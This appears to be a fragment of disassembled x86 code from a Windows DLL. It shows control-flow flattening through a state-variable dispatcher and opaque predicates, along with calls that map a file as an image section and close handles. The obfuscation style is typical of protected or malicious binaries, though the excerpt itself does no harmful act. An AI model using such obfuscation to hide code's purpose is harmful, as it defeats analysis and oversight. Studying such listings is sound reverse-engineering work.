cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c88f887
mov ecx, 0x1f4c2628
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov ecx, dword [0x1006cb48]
mov eax, dword [0x1006cb44]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c88f887
mov ecx, 0x776c5eba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x88], eax
jmp 0x10002814
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1000edc0
lea esp, [ebp - 8]
pop esi
pop ebx
pop ebp
ret
mov dword [ebp - 0x88], 0x2fe8c7df
jmp 0x10002814
mov dword [ebp - 0x88], 0xacdc7e59
jmp 0x10002814
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x88], 0x7905a0ad
jmp 0x10002814
mov dword [ebp - 0x88], 0x7040d7dc
jmp 0x10002814
mov eax, dword [ebp - 0x30]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x88], 0xf91ac7b6
jmp 0x10002814
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x88], 0x95b1bf48
jmp 0x10002814
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x88], 0xdb24692e
jmp 0x10002814
mov eax, dword [ebp - 0x48]
mov cl, byte [ebp - 0xf]
mov byte [eax], cl
mov dword [ebp - 0x88], 0x464d7ba7
jmp 0x10002814
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 0xeaa647e5
jmp 0x10002814
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x88], 0x43b72de
jmp 0x10002814
mov dword [ebp - 0x88], 0x1f4c2628
jmp 0x10001217